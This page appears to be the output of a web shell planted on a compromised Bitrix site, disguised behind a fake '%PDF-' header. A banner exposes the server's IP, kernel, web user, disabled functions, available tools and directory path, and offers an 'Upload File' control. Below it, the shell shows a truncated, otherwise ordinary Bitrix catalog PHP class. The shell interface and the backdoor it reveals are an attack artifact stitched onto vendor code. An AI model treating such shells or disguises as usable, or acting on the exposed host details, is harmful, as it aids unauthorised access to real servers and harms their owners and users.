%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.191.103.117 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/lib/component/ |
Upload File : |
<?php namespace Bitrix\Catalog\Component; use Bitrix\Catalog\Url; use Bitrix\Catalog\Config\State; use Bitrix\Catalog\ProductTable; use Bitrix\Catalog\v2\BaseIblockElementEntity; use Bitrix\Catalog\v2\IoC\ServiceContainer; use Bitrix\Catalog\v2\Property\HasPropertyCollection; use Bitrix\Catalog\v2\Property\Property; use Bitrix\Crm; use Bitrix\Currency\CurrencyManager; use Bitrix\Iblock\ElementTable; use Bitrix\Iblock\PropertyTable; use Bitrix\Iblock\Url\AdminPage\BuilderManager; use Bitrix\Main\Config\Option; use Bitrix\Main\Loader; use Bitrix\Main\Localization\Loc; use Bitrix\Main\ORM\Fields\BooleanField; use Bitrix\Main\ORM\Fields\DateField; use Bitrix\Main\ORM\Fields\DatetimeField; use Bitrix\Main\ORM\Fields\EnumField; use Bitrix\Main\ORM\Fields\Field; use Bitrix\Main\ORM\Fields\FloatField; use Bitrix\Main\ORM\Fields\IntegerField; use Bitrix\Main\ORM\Fields\ScalarField; use Bitrix\Main\ORM\Fields\StringField; use Bitrix\Main\ORM\Fields\TextField; use Bitrix\Main\Page\Asset; use Bitrix\Main\Text\HtmlFilter; use Bitrix\Main\UI\FileInputUtility; abstract class BaseForm { public const GRID_FIELD_PREFIX = 'SKU_GRID_'; public const PROPERTY_FIELD_PREFIX = 'PROPERTY_'; public const PRICE_FIELD_PREFIX = 'CATALOG_GROUP_'; public const CURRENCY_FIELD_PREFIX = 'CATALOG_CURRENCY_'; public const MORE_PHOTO = 'MORE_PHOTO'; private const USER_TYPE_METHOD = 'GetUIEntityEditorProperty'; private const USER_TYPE_GET_VIEW_METHOD = 'GetUIEntityEditorPropertyViewHtml'; private const USER_TYPE_GET_EDIT_METHOD = 'GetUIEntityEditorPropertyEditHtml'; private const USER_TYPE_FORMAT_VALUE_METHOD = 'getFormattedValue'; protected const CONTROL_NAME_WITH_CODE = 'name-code'; protected const CONTROL_IBLOCK_SECTION = 'iblock_section'; /** @var \Bitrix\Catalog\v2\BaseIblockElementEntity */ protected $entity; /** @var array */ protected $params; /** @var array|null */ protected $descriptions; /** @var array|null */ protected $propertyDescriptions; /** @var null|Url\ShopBuilder */ protected $urlBuilder; public function __construct(BaseIblockElementEntity $entity, array $params = []) { $this->entity = $entity; $this->params = $params; $this->urlBuilder = BuilderManager::getInstance()->getBuilder(Url\ShopBuilder::TYPE_ID); } protected function prepareFieldName(string $name): string { return $name; } public function getControllers(): array { return [ [ 'name' => 'FIELD_CONFIGURATOR_CONTROLLER', 'type' => 'field_configurator', 'config' => [], ], [ 'name' => 'GOOGLE_MAP_CONTROLLER', 'type' => 'google_map', 'config' => [], ], [ 'name' => 'EMPLOYEE_CONTROLLER', 'type' => 'employee', 'config' => [], ], [ 'name' => 'CRM_CONTROLLER', 'type' => 'binding_to_crm_element', 'config' => [], ], ]; } public function getValues(bool $allowDefaultValues = true): array { $values = []; if ($allowDefaultValues) { foreach ($this->getDescriptions() as $field) { $values[$field['name']] = $this->getFieldValue($field) ?? $field['defaultValue'] ?? ''; } } else { foreach ($this->getDescriptions() as $field) { $values[$field['name']] = $this->getFieldValue($field) ?? ''; } } $additionalValues = $this->getAdditionalValues($values); if (!empty($additionalValues)) { $values = array_merge($values, $additionalValues); } return $values; } public function getVariationGridId(): string { $iblockInfo = ServiceContainer::getIblockInfo($this->entity->getIblockId()); if ($iblockInfo) { return 'catalog-product-variation-grid-' . $iblockInfo->getProductIblockId(); } return 'catalog-product-variation-grid'; } public function getCardSettings(): array { $gridColumnSettings = [ 'VAT_INCLUDED' => [ GridVariationForm::formatFieldName('VAT_ID'), GridVariationForm::formatFieldName('VAT_INCLUDED'), ], 'PURCHASING_PRICE_FIELD' => [ GridVariationForm::formatFieldName('PURCHASING_PRICE_FIELD'), ], 'MEASUREMENTS' => [ GridVariationForm::formatFieldName('HEIGHT'), GridVariationForm::formatFieldName('LENGTH'), GridVariationForm::formatFieldName('WIDTH'), GridVariationForm::formatFieldName('WEIGHT'), ], 'MEASURE_RATIO' => [ GridVariationForm::formatFieldName('MEASURE_RATIO'), ], ]; $activeSettings = []; $options = new \Bitrix\Main\Grid\Options($this->getVariationGridId()); $allUsedColumns = $options->getUsedColumns(); if (!empty($allUsedColumns)) { foreach ($gridColumnSettings as $setting => $columns) { if (empty(array_diff($columns, $allUsedColumns))) { $activeSettings[] = $setting; } } } $config = $this->getCardUserConfig(); if (!empty($config['CATALOG_PARAMETERS'])) { $activeSettings[] = 'CATALOG_PARAMETERS'; } $items = []; $settingList = array_merge(array_keys($gridColumnSettings), ['CATALOG_PARAMETERS']); foreach ($settingList as $setting) { $items[] = [ 'id' => $setting, 'checked' => in_array($setting, $activeSettings, true), 'title' => Loc::getMessage('CATALOG_C_F_VARIATION_SETTINGS_' . $setting . '_TITLE'), 'desc' => Loc::getMessage('CATALOG_C_F_VARIATION_SETTINGS_' . $setting . '_DESC'), 'action' => isset($gridColumnSettings[$setting]) ? 'grid' : 'card', 'columns' => $gridColumnSettings[$setting] ?? null, ]; } return $items; } public function getCardConfigId(): string { $iblockInfo = ServiceContainer::getIblockInfo($this->entity->getIblockId()); if ($iblockInfo) { return 'catalog-entity-card-config-' . $iblockInfo->getProductIblockId(); } return 'catalog-entity-card-config'; } public function getCardUserConfig(): array { return \CUserOptions::getOption('catalog', $this->getCardConfigId(), []); } public function saveCardUserConfig(array $config): bool { return \CUserOptions::setOption('catalog', $this->getCardConfigId(), $config); } public function getVariationIblockId(): ?int { $iblockInfo = ServiceContainer::getIblockInfo($this->entity->getIblockId()); if ($iblockInfo) { return (int)$iblockInfo->getSkuIblockId() ?: $iblockInfo->getProductIblockId(); } return null; } protected function getAdditionalValues(array $values): array { $additionalValues = []; foreach ($this->getDescriptions() as $description) { if (!in_array($description['type'], ['custom', 'money', 'multimoney', 'user'], true)) { continue; } $value = $values[$description['name']] ?? null; $descriptionData = $description['data'] ?? []; if (!empty($description['settings']['USER_TYPE'])) { $description['settings']['PROPERTY_USER_TYPE'] = \CIBlockProperty::GetUserType( $description['settings']['USER_TYPE'] ); } $propertySettings = $description['settings']; if ($description['type'] === 'custom') { if ($propertySettings['PROPERTY_TYPE'] === PropertyTable::TYPE_ELEMENT) { $elementData = ElementTable::getList([ 'select' => ['NAME'], 'filter' => ['ID' => $value], ]); $namesList = []; while ($element = $elementData->fetch()) { $namesList[] = $element['NAME']; } $viewValue = implode(', ', $namesList); $additionalValues[$descriptionData['view']] = HtmlFilter::encode($viewValue); $additionalValues[$descriptionData['edit']] = $this->getElementPropertyEditHtml( $description['name'], $propertySettings, $value ); } elseif ($propertySettings['PROPERTY_TYPE'] === PropertyTable::TYPE_FILE) { if ($description['propertyCode'] === self::MORE_PHOTO) { $value = $this->getEntityViewPictureValues($this->entity); $editValue = $this->getEntityEditPictureValues($this->entity); if (!$description['multiple']) { $value = $value[0]; $editValue = $editValue[0]; } } else { $editValue = $value; } $imageExtensions = explode(',', \CFile::GetImageExtensions()); $fileExtensions = explode(',', $description['settings']['FILE_TYPE']); $fileExtensions = array_map('trim', $fileExtensions); $diffExtensions = array_diff($fileExtensions, $imageExtensions); $isImageInput = empty($diffExtensions); $descriptionSingle = $description; $descriptionSingle['settings']['MULTIPLE'] = false; $descriptionMultiple = $description; $descriptionMultiple['settings']['MULTIPLE'] = true; if ($isImageInput) { $additionalValues[$descriptionData['view']] = $this->getImagePropertyViewHtml($value); $additionalValues[$descriptionData['viewList']]['SINGLE'] = $this->getImagePropertyViewHtml(is_array($value) ? $value[0] : $value); $additionalValues[$descriptionData['viewList']]['MULTIPLE'] = $this->getImagePropertyViewHtml(is_array($value) ? $value : [$value]); $additionalValues[$descriptionData['edit']] = $this->getImagePropertyEditHtml($description, $editValue); $additionalValues[$descriptionData['editList']]['SINGLE'] = $this->getImagePropertyEditHtml($descriptionSingle, is_array($editValue) ? $editValue[0] : $editValue); $additionalValues[$descriptionData['editList']]['MULTIPLE'] = $this->getImagePropertyEditHtml($descriptionMultiple, is_array($editValue) ? $editValue : [$editValue]); } else { $controlId = FileInputUtility::instance()->getUserFieldCid([ 'ID' => $description['settings']['ID'], 'ENTITY_ID' => $description['propertyId'], 'MULTIPLE' => $description['settings']['MULTIPLE'], 'FIELD_NAME' => $description['name'], ]); $additionalValues[$descriptionData['view']] = ''; $additionalValues[$descriptionData['viewList']]['SINGLE'] = ''; $additionalValues[$descriptionData['viewList']]['MULTIPLE'] = ''; if (!empty($value)) { $additionalValues[$descriptionData['view']] = $this->getFilePropertyViewHtml($description, $value, $controlId); $additionalValues[$descriptionData['viewList']]['SINGLE'] = $this->getFilePropertyViewHtml($description, is_array($value) ? $value[0] : $value, $controlId, false); $additionalValues[$descriptionData['viewList']]['MULTIPLE'] = $this->getFilePropertyViewHtml($description, is_array($value) ? $value : [$value], $controlId, true); } $additionalValues[$descriptionData['edit']] = $this->getFilePropertyEditHtml($description, $value, $controlId); $additionalValues[$descriptionData['editList']]['SINGLE'] = $this->getFilePropertyEditHtml($description, is_array($value) ? $value[0] : $value, $controlId, false); $additionalValues[$descriptionData['editList']]['MULTIPLE'] = $this->getFilePropertyEditHtml($description, is_array($value) ? $value : [$value], $controlId, true); } } else { $params = [ 'SETTINGS' => $propertySettings, 'VALUE' => $value, 'FIELD_NAME' => $description['name'], 'ELEMENT_ID' => $this->entity->getId() ?? 'n' . mt_rand(), ]; if ($propertySettings['USER_TYPE'] === 'map_google') { $params['WIDTH'] = '95%'; $params['HEIGHT'] = '400px'; } $paramsSingle = $params; $paramsSingle['VALUE'] = $description['multiple'] ? $value[0] : $value; $paramsSingle['SETTINGS']['MULTIPLE'] = 'N'; if ($value === '') { $singleValueToMultiple = []; } else { $singleValueToMultiple = [$value]; } $paramsMultiple = $params; $paramsMultiple['VALUE'] = $description['multiple'] ? $value : $singleValueToMultiple; $paramsMultiple['SETTINGS']['MULTIPLE'] = 'Y'; $viewMethod = $propertySettings['PROPERTY_USER_TYPE'][self::USER_TYPE_GET_VIEW_METHOD] ?? null; if ($viewMethod && is_callable($viewMethod)) { $additionalValues[$descriptionData['viewList']]['SINGLE'] = $viewMethod($paramsSingle); $additionalValues[$descriptionData['viewList']]['MULTIPLE'] = $viewMethod($paramsMultiple); $additionalValues[$descriptionData['view']] = $viewMethod($params); } $editMethod = $propertySettings['PROPERTY_USER_TYPE'][self::USER_TYPE_GET_EDIT_METHOD] ?? null; if ($editMethod && is_callable($editMethod)) { $additionalValues[$descriptionData['editList']]['SINGLE'] = $editMethod($paramsSingle); $additionalValues[$descriptionData['editList']]['MULTIPLE'] = $editMethod($paramsMultiple); $additionalValues[$descriptionData['edit']] = $editMethod($params); } } } elseif (in_array($description['type'], ['money', 'multimoney'], true) && Loader::includeModule('currency')) { $formatMethod = $propertySettings['PROPERTY_USER_TYPE'][self::USER_TYPE_FORMAT_VALUE_METHOD] ?? null; if ($formatMethod && is_callable($formatMethod)) { if ($description['type'] === 'money') { $additionalMoneyValues = $this->getAdditionalMoneyValues($value, $formatMethod); $additionalValues[$descriptionData['currencyCode']] = $additionalMoneyValues['currencyCode']; $additionalValues[$descriptionData['amount']] = $additionalMoneyValues['amount']; $additionalValues[$descriptionData['formatted']] = $additionalMoneyValues['formatted']; $additionalValues[$descriptionData['formattedWithCurrency']] = $additionalMoneyValues['formattedWithCurrency']; } else { foreach ($value as $currentValueElement) { $additionalMoneyValues = $this->getAdditionalMoneyValues($currentValueElement, $formatMethod); $additionalValues[$descriptionData['currencyCode']][] = $additionalMoneyValues['currencyCode']; $additionalValues[$descriptionData['amount']][] = $additionalMoneyValues['amount']; $additionalValues[$descriptionData['formatted']][] = $additionalMoneyValues['formatted']; $additionalValues[$descriptionData['formattedWithCurrency']][] = $additionalMoneyValues['formattedWithCurrency']; } } } } elseif ($description['type'] === 'user') { $userData = \Bitrix\Main\UserTable::getList([ 'filter' => ['=ID' => $value], 'select' => [ 'ID', 'LOGIN', 'PERSONAL_PHOTO', 'NAME', 'SECOND_NAME', 'LAST_NAME', 'WORK_POSITION', ], 'limit' => 1, ]); if ($user = $userData->fetch()) { $pathToProfile = $this->params['PATH_TO']['USER_PROFILE']; if ($pathToProfile) { $additionalValues['PATH_TO_USER_PROFILE'] = $pathToProfile; $additionalValues['PATH_TO_' . $description['name']] = \CComponentEngine::MakePathFromTemplate( $pathToProfile, ['user_id' => $user['ID']] ); } $additionalValues[$description['name'] . '_PERSONAL_PHOTO'] = $user['PERSONAL_PHOTO']; $additionalValues[$description['name'] . '_WORK_POSITION'] = $user['WORK_POSITION']; $additionalValues[$description['name'] . '_FORMATTED_NAME'] = \CUser::FormatName( \CSite::GetNameFormat(false), [ 'LOGIN' => $user['LOGIN'], 'NAME' => $user['NAME'], 'LAST_NAME' => $user['LAST_NAME'], 'SECOND_NAME' => $user['SECOND_NAME'], ], true, false ); if ((int)$user['PERSONAL_PHOTO'] > 0) { $file = new \CFile(); $fileInfo = $file->ResizeImageGet( (int)$user['PERSONAL_PHOTO'], ['width' => 60, 'height' => 60], BX_RESIZE_IMAGE_EXACT ); if (is_array($fileInfo) && isset($fileInfo['src'])) { $additionalValues[$description['name'] . '_PHOTO_URL'] = $fileInfo['src']; } } } } } return $additionalValues; } private function getAdditionalMoneyValues(string $value, callable $formatMethod): array { $additionalValues = []; $formattedValues = $formatMethod($value); $amount = $formattedValues['AMOUNT']; if ($formattedValues['AMOUNT'] !== '' && $formattedValues['DECIMALS'] !== '') { $amount .= '.' . $formattedValues['DECIMALS']; } $currency = $formattedValues['CURRENCY']; $additionalValues['currencyCode'] = $currency; $additionalValues['amount'] = $amount; $additionalValues['formatted'] = \CCurrencyLang::CurrencyFormat($amount, $currency, false); $additionalValues['formattedWithCurrency'] = \CCurrencyLang::CurrencyFormat($amount, $currency, true); return $additionalValues; } private function getImageValuesForEntity(BaseIblockElementEntity $entity): array { $values = []; if ($entity instanceof HasPropertyCollection) { $morePhotoProperty = $entity->getPropertyCollection()->findByCode(self::MORE_PHOTO); if ($morePhotoProperty) { $morePhotoValues = $morePhotoProperty->getPropertyValueCollection()->getValues(); if (!empty($morePhotoValues)) { if (!is_array($morePhotoValues)) { $morePhotoValues = [$morePhotoValues]; } $values = array_merge($values, $morePhotoValues); } } } $previewPicture = $entity->getField('PREVIEW_PICTURE'); if ($previewPicture) { $values = array_merge([$previewPicture], $values); } $detailPicture = $entity->getField('DETAIL_PICTURE'); if ($detailPicture) { $values = array_merge([$detailPicture], $values); } return $values; } private function getEntityEditPictureValues(BaseIblockElementEntity $entity): array { return $this->getImageValuesForEntity($entity); } private function getEntityViewPictureValues(BaseIblockElementEntity $entity): array { return $this->getImageValuesForEntity($entity); } protected function getFieldValue(array $field) { if ($field['entity'] === 'product') { return $this->getProductFieldValue($field); } if ($field['entity'] === 'property') { return $this->getPropertyFieldValue($field); } return null; } public function getConfig(): array { $config = $this->collectFieldConfigs(); foreach ($config as &$column) { usort($column['elements'], static function ($a, $b) { $sortA = $a['sort'] ?? PHP_INT_MAX; $sortB = $b['sort'] ?? PHP_INT_MAX; return $sortA <=> $sortB; }); } return array_values($config); } protected function collectFieldConfigs(): array { $leftWidth = 30; return [ 'left' => [ 'name' => 'left', 'type' => 'column', 'data' => [ 'width' => $leftWidth, ], 'elements' => [ [ 'name' => 'main', 'title' => Loc::getMessage('CATALOG_C_F_MAIN_SECTION_TITLE'), 'type' => 'section', 'elements' => [ ['name' => 'NAME-CODE'], ['name' => 'DETAIL_TEXT'], ], 'data' => [ 'isRemovable' => false, ], 'sort' => 100, ], [ 'name' => 'properties', 'title' => Loc::getMessage('CATALOG_C_F_PROPERTIES_SECTION_TITLE'), 'type' => 'section', 'elements' => $this->getPropertiesConfigElements(), 'data' => [ 'isRemovable' => false, ], 'sort' => 200, ], ], ], 'right' => [ 'name' => 'right', 'type' => 'column', 'data' => [ 'width' => 100 - $leftWidth, ], 'elements' => [ [ 'name' => 'catalog_parameters', 'title' => Loc::getMessage('CATALOG_C_F_STORE_SECTION_TITLE'), 'type' => 'section', 'elements' => [ ['name' => 'QUANTITY_TRACE'], ['name' => 'CAN_BUY_ZERO'], ['name' => 'SUBSCRIBE'], ], 'data' => [ 'isRemovable' => false, ], 'sort' => 200, ], ], ], ]; } public function getDescriptions(): array { if ($this->descriptions === null) { $this->descriptions = $this->buildDescriptions(); } return $this->descriptions; } protected function buildDescriptions(): array { $fieldBlocks = []; $fieldBlocks[] = $this->getTableDescriptions($this->getElementTableMap()); $fieldBlocks[] = $this->getTableDescriptions(ProductTable::getMap()); $fieldBlocks[] = $this->getIblockPropertiesDescriptions(); return array_merge(...$fieldBlocks); } protected function getElementTableMap(): array { $elementTableMap = ElementTable::getMap(); unset($elementTableMap['NAME'], $elementTableMap['CODE']); return $elementTableMap; } protected function getNameCodeDescription(): array { return [ [ 'entity' => 'product', 'name' => 'NAME-CODE', 'originalName' => 'NAME-CODE', 'title' => Loc::getMessage('ELEMENT_ENTITY_NAME_FIELD'), 'type' => 'name-code', 'editable' => 'true', 'required' => 'true', 'placeholders' => [ 'creation' => Loc::getMessage('CATALOG_C_F_NEW_PRODUCT_PLACEHOLDER'), ], 'defaultValue' => null, 'optionFlags' => 1, ], ]; } private function getTableDescriptions(array $tableMap): array { $descriptions = []; $allowedFields = $this->getTableElementsWhiteList(); /** @var \Bitrix\Main\ORM\Fields\ScalarField $field */ foreach ($tableMap as $name => $field) { $fieldName = $field->getName(); if (!isset($allowedFields[$fieldName])) { continue; } $description = [ 'entity' => 'product', 'name' => $this->prepareFieldName($fieldName), 'originalName' => $fieldName, 'title' => $field->getTitle(), 'type' => $this->getFieldTypeByObject($field), 'editable' => $this->isEditableField($field), 'required' => $this->isRequiredField($field), 'placeholders' => $this->getFieldPlaceholders($field), 'defaultValue' => $field->getDefaultValue(), 'optionFlags' => 1, // showAlways ]; if ($field instanceof EnumField) { if ($this->isSpecificCatalogField($fieldName)) { $items = $this->getCatalogEnumFields($field->getName()); } else { $items = $this->getCommonEnumFields($field); } $description['data']['items'] = $items; } if ($description['type'] === 'custom') { $description['data'] += $this->getCustomControlParameters($description['name']); } elseif ($description['type'] === 'user') { $description['data'] = [ 'enableEditInView' => false, 'formated' => $description['name'] . '_FORMATTED_NAME', 'position' => $description['name'] . '_WORK_POSITION', 'photoUrl' => $description['name'] . '_PHOTO_URL', 'showUrl' => 'PATH_TO_' . $description['name'], 'pathToProfile' => 'PATH_TO_USER_PROFILE', ]; } elseif ($fieldName === 'MEASURE') { $measureList = []; foreach ($this->getMeasures() as $measure) { $measureTitle = $measure['MEASURE_TITLE']; if (empty($measureTitle)) { $measureTitle = \CCatalogMeasureClassifier::getMeasureTitle($measure['CODE'], 'MEASURE_TITLE'); } $measureList[] = [ 'NAME' => HtmlFilter::encode($measureTitle), 'VALUE' => $measure['ID'], ]; } $description['data']['items'] = $measureList; $description['type'] = 'list'; } elseif ($fieldName === 'VAT_ID') { $vatList[] = [ 'VALUE' => 'D', 'NAME' => Loc::getMessage( 'CATALOG_C_F_DEFAULT', ['#VALUE#' => Loc::getMessage('CATALOG_PRODUCT_CARD_VARIATION_GRID_NOT_SELECTED')] ), ]; $iblockId = $this->entity->getIblockId(); $iblockData = \CCatalog::GetByID($iblockId); foreach ($this->getVats() as $vat) { if ($vat['ID'] === $iblockData['VAT_ID']) { $vatList[0]['NAME'] = Loc::getMessage( 'CATALOG_C_F_DEFAULT', ['#VALUE#' => htmlspecialcharsbx($vat['NAME'])] ); } $vatList[] = [ 'VALUE' => $vat['ID'], 'NAME' => htmlspecialcharsbx($vat['NAME']), ]; } $description['data']['items'] = $vatList; $description['type'] = 'list'; } $descriptions[] = $description; } return $descriptions; } private function getTableElementsWhiteList(): array { static $whiteList = null; if ($whiteList === null) { $whiteList = $this->getIblockElementFieldsList(); if ($this->showCatalogProductFields()) { $whiteList = array_merge($whiteList, $this->getCatalogProductFieldsList()); } if ($this->showSpecificCatalogParameters()) { $whiteList = array_merge($whiteList, $this->getSpecificCatalogFieldsList()); } if ($this->showSubscribeCatalogParameters()) { $whiteList = array_diff($whiteList, ['WEIGHT', 'WIDTH', 'LENGTH', 'HEIGHT']); $whiteList = array_merge($whiteList, $this->getSubscribeCatalogFieldList()); } $whiteList = array_fill_keys($whiteList, true); } return $whiteList; } protected function getIblockElementFieldsList(): array { return [ 'ID', 'IBLOCK_ID', // ToDo // 'IBLOCK_SECTION_ID', 'TIMESTAMP_X', 'MODIFIED_BY', 'DATE_CREATE', 'CREATED_BY', 'ACTIVE', 'ACTIVE_FROM', 'ACTIVE_TO', 'SORT', 'NAME', 'PREVIEW_TEXT', // 'PREVIEW_TEXT_TYPE', 'DETAIL_TEXT', // 'DETAIL_TEXT_TYPE', 'XML_ID', 'CODE', ]; } protected function showCatalogProductFields(): bool { return false; } protected function getCatalogProductFieldsList(): array { return [ 'QUANTITY', 'QUANTITY_RESERVED', 'VAT_ID', 'VAT_INCLUDED', // 'PURCHASING_PRICE', // 'PURCHASING_CURRENCY', // 'BARCODE_MULTI', // 'QUANTITY_RESERVED', 'WEIGHT', 'WIDTH', 'LENGTH', 'HEIGHT', 'MEASURE', // 'TYPE', // 'AVAILABLE', // 'BUNDLE', ]; } protected function showSpecificCatalogParameters(): bool { return false; } private function getSpecificCatalogFieldsList(): array { return [ 'QUANTITY_TRACE', 'CAN_BUY_ZERO', 'SUBSCRIBE', ]; } private function getFieldTypeByObject(ScalarField $field): string { $fieldName = $field->getName(); if ($fieldName === 'PREVIEW_PICTURE' || $fieldName === 'DETAIL_PICTURE') { return 'custom'; } if ($fieldName === 'PREVIEW_TEXT' || $fieldName === 'DETAIL_TEXT') { return 'html'; } if ($fieldName === 'MODIFIED_BY' || $fieldName === 'CREATED_BY') { return 'user'; } switch (get_class($field)) { case IntegerField::class: case FloatField::class: $fieldType = 'number'; break; case BooleanField::class: $fieldType = 'boolean'; break; case EnumField::class: $fieldType = 'list'; break; case DateField::class: case DatetimeField::class: $fieldType = 'datetime'; break; case TextField::class: $fieldType = 'textarea'; break; case StringField::class: default: $fieldType = 'text'; } return $fieldType; } private function isEditableField(Field $field): bool { if (in_array( $field->getName(), [ 'IBLOCK_ID', 'MODIFIED_BY', 'CREATED_BY', 'AVAILABLE', 'DATE_CREATE', 'TIMESTAMP_X', ], true )) { return false; } if (in_array($field->getName(), ['QUANTITY', 'QUANTITY_RESERVED'], true) && State::isUsedInventoryManagement()) { return false; } return !$field->isPrimary() && !$field->isAutocomplete(); } private function isRequiredField(Field $field): bool { if ($field->getName() === 'IBLOCK_ID') { return false; } return $field->isRequired(); } private function getFieldPlaceholders(Field $field): ?array { if ($field->getName() === 'NAME') { return [ 'creation' => Loc::getMessage('CATALOG_C_F_NEW_PRODUCT_PLACEHOLDER'), ]; } return null; } protected function showSubscribeCatalogParameters(): bool { $iblockInfo = ServiceContainer::getIblockInfo($this->entity->getIblockId()); if ($iblockInfo) { return $iblockInfo->hasSubscription(); } return false; } private function getSubscribeCatalogFieldList(): array { return [ 'PRICE_TYPE', 'RECUR_SCHEME_LENGTH', 'RECUR_SCHEME_TYPE', 'TRIAL_PRICE_ID', 'WITHOUT_ORDER', ]; } private function isSpecificCatalogField(string $fieldName): bool { static $catalogEnumFields = null; if ($catalogEnumFields === null) { $catalogEnumFields = array_fill_keys( $this->getSpecificCatalogFieldsList(), true ); } return isset($catalogEnumFields[$fieldName]); } protected function getCatalogEnumFields(string $fieldName): array { $defaultValue = null; switch ($fieldName) { case 'QUANTITY_TRACE': $defaultValue = Option::get('catalog', 'default_quantity_trace') === 'Y'; break; case 'CAN_BUY_ZERO': $defaultValue = Option::get('catalog', 'default_can_buy_zero') === 'Y'; break; case 'SUBSCRIBE': $defaultValue = Option::get('catalog', 'default_subscribe') === 'Y'; break; } return [ [ 'NAME' => Loc::getMessage( 'CATALOG_C_F_DEFAULT', [ '#VALUE#' => $defaultValue ? Loc::getMessage('CATALOG_C_F_YES') : Loc::getMessage('CATALOG_C_F_NO'), ] ), 'VALUE' => ProductTable::STATUS_DEFAULT, ], [ 'NAME' => Loc::getMessage('CATALOG_C_F_YES'), 'VALUE' => ProductTable::STATUS_YES, ], [ 'NAME' => Loc::getMessage('CATALOG_C_F_NO'), 'VALUE' => ProductTable::STATUS_NO, ], ]; } private function getCommonEnumFields(EnumField $field): array { $items = []; foreach ((array)$field->getValues() as $value) { $items[] = [ 'NAME' => $value, 'VALUE' => $value, ]; } return $items; } public function getIblockPropertiesDescriptions(): array { if ($this->propertyDescriptions === null) { $this->propertyDescriptions = $this->buildIblockPropertiesDescriptions(); } return $this->propertyDescriptions; } protected function buildIblockPropertiesDescriptions(): array { $propertyDescriptions = []; foreach ($this->entity->getPropertyCollection() as $property) { $propertyDescriptions[] = $this->getPropertyDescription($property); } return $propertyDescriptions; } public static function preparePropertyName(string $name = ''): string { return self::PROPERTY_FIELD_PREFIX . $name; } public static function preparePropertyNameFromProperty(Property $property): string { $name = $property->getCode() === self::MORE_PHOTO ? self::MORE_PHOTO : $property->getId(); return static::preparePropertyName($name); } protected function getPropertyDescription(Property $property): array { $description = [ 'entity' => 'property', 'name' => static::preparePropertyNameFromProperty($property), 'propertyId' => $property->getId(), 'propertyCode' => $property->getCode(), 'title' => $property->getName(), 'editable' => true, 'required' => $property->isRequired(), 'multiple' => $property->isMultiple(), 'defaultValue' => $property->getDefaultValue(), 'settings' => $property->getSettings(), ]; if ($property->getUserType() === \CIBlockPropertySequence::USER_TYPE) { $userTypeSettings = $property->getSetting('USER_TYPE_SETTINGS'); $description['editable'] = $userTypeSettings['write'] === 'Y'; } if ($description['propertyCode'] === self::MORE_PHOTO) { $description['optionFlags'] = 1; // showAlways } if ($description['multiple'] && !is_array($description['defaultValue'])) { $description['defaultValue'] = $description['defaultValue'] === null ? [] : [$description['defaultValue']]; } // remove it after PropertyTable::TYPE_ELEMENT refactoring if ($property->getPropertyType() === PropertyTable::TYPE_ELEMENT) { Asset::getInstance()->addJs('/bitrix/js/main/utils.js'); } if ($property->getUserType()) { $specificDescription = $this->getUserTypePropertyDescription($property); } else { $specificDescription = $this->getGeneralPropertyDescription($property); } $specificDescription['data']['isPublic'] = $property->isPublic(); return array_merge($description, $specificDescription); } private function getPropertyType(Property $property): string { switch ($property->getPropertyType()) { case PropertyTable::TYPE_STRING: // ToDo no multiple textarea right now // if ($property->isMultiple()) // { // $fieldType = 'multifield'; // } if ((int)$property->getSetting('ROW_COUNT') > 1) { $fieldType = 'textarea'; } else { $fieldType = $property->isMultiple() ? 'multitext' : 'text'; } break; case PropertyTable::TYPE_NUMBER: // ToDo no multiple number right now $fieldType = $property->isMultiple() ? 'multinumber' : 'number'; break; case PropertyTable::TYPE_LIST: $fieldType = $property->isMultiple() ? 'multilist' : 'list'; break; // case TextField::class: // $fieldType = 'textarea'; // break; case PropertyTable::TYPE_ELEMENT: case PropertyTable::TYPE_FILE: $fieldType = 'custom'; break; default: $fieldType = 'text'; } return $fieldType; } protected function getHiddenPropertyCodes(): array { return []; } protected function getPropertiesConfigElements(): array { $elements = []; $hiddenCodesMap = array_fill_keys($this->getHiddenPropertyCodes(), true); foreach ($this->entity->getPropertyCollection() as $property) { if (isset($hiddenCodesMap[$property->getCode()])) { continue; } $elements[] = [ 'name' => static::preparePropertyNameFromProperty($property), ]; } return $elements; } protected function getGeneralPropertyDescription(Property $property): array { $type = $this->getPropertyType($property); $description = [ 'type' => $type, 'data' => [ 'isProductProperty' => true, ], ]; if ($type === 'custom') { $name = static::preparePropertyNameFromProperty($property); $description['data'] += $this->getCustomControlParameters($name); } if ($type === 'textarea') { $description['lineCount'] = (int)($property->getSetting('ROW_COUNT') ?? 1); } if ($property->getPropertyType() === PropertyTable::TYPE_LIST) { $description['data']['enableEmptyItem'] = true; $description['data']['items'] = []; $propertyEnumIterator = \CIBlockProperty::GetPropertyEnum( $property->getId(), [ 'SORT' => 'ASC', 'VALUE' => 'ASC', 'ID' => 'ASC', ] ); while ($enum = $propertyEnumIterator->fetch()) { $description['data']['items'][] = [ 'NAME' => $enum['VALUE'], 'VALUE' => $enum['ID'], 'ID' => $enum['ID'], ]; } if (count($description['data']['items']) === 1 && $description['data']['items'][0]['NAME'] === 'Y') { $description['type'] = 'boolean'; $description['data']['value'] = $description['data']['items'][0]['VALUE']; } } return $description; } protected function getUserTypePropertyDescription(Property $property): array { $propertySettings = $this->getPropertySettings($property); if ($property->getPropertyType() === 'S' && $property->getUserType() === 'HTML') { $defaultValue = $property->getDefaultValue(); if ($defaultValue) { if ($property->isMultiple()) { foreach ($defaultValue as &$item) { $item = $item['TEXT'] ?? null; } } else { $defaultValue = $defaultValue['TEXT'] ?? null; } } return [ 'type' => 'html', 'defaultValue' => $defaultValue, ]; } $userTypeMethod = $propertySettings['PROPERTY_USER_TYPE'][self::USER_TYPE_METHOD] ?? null; if 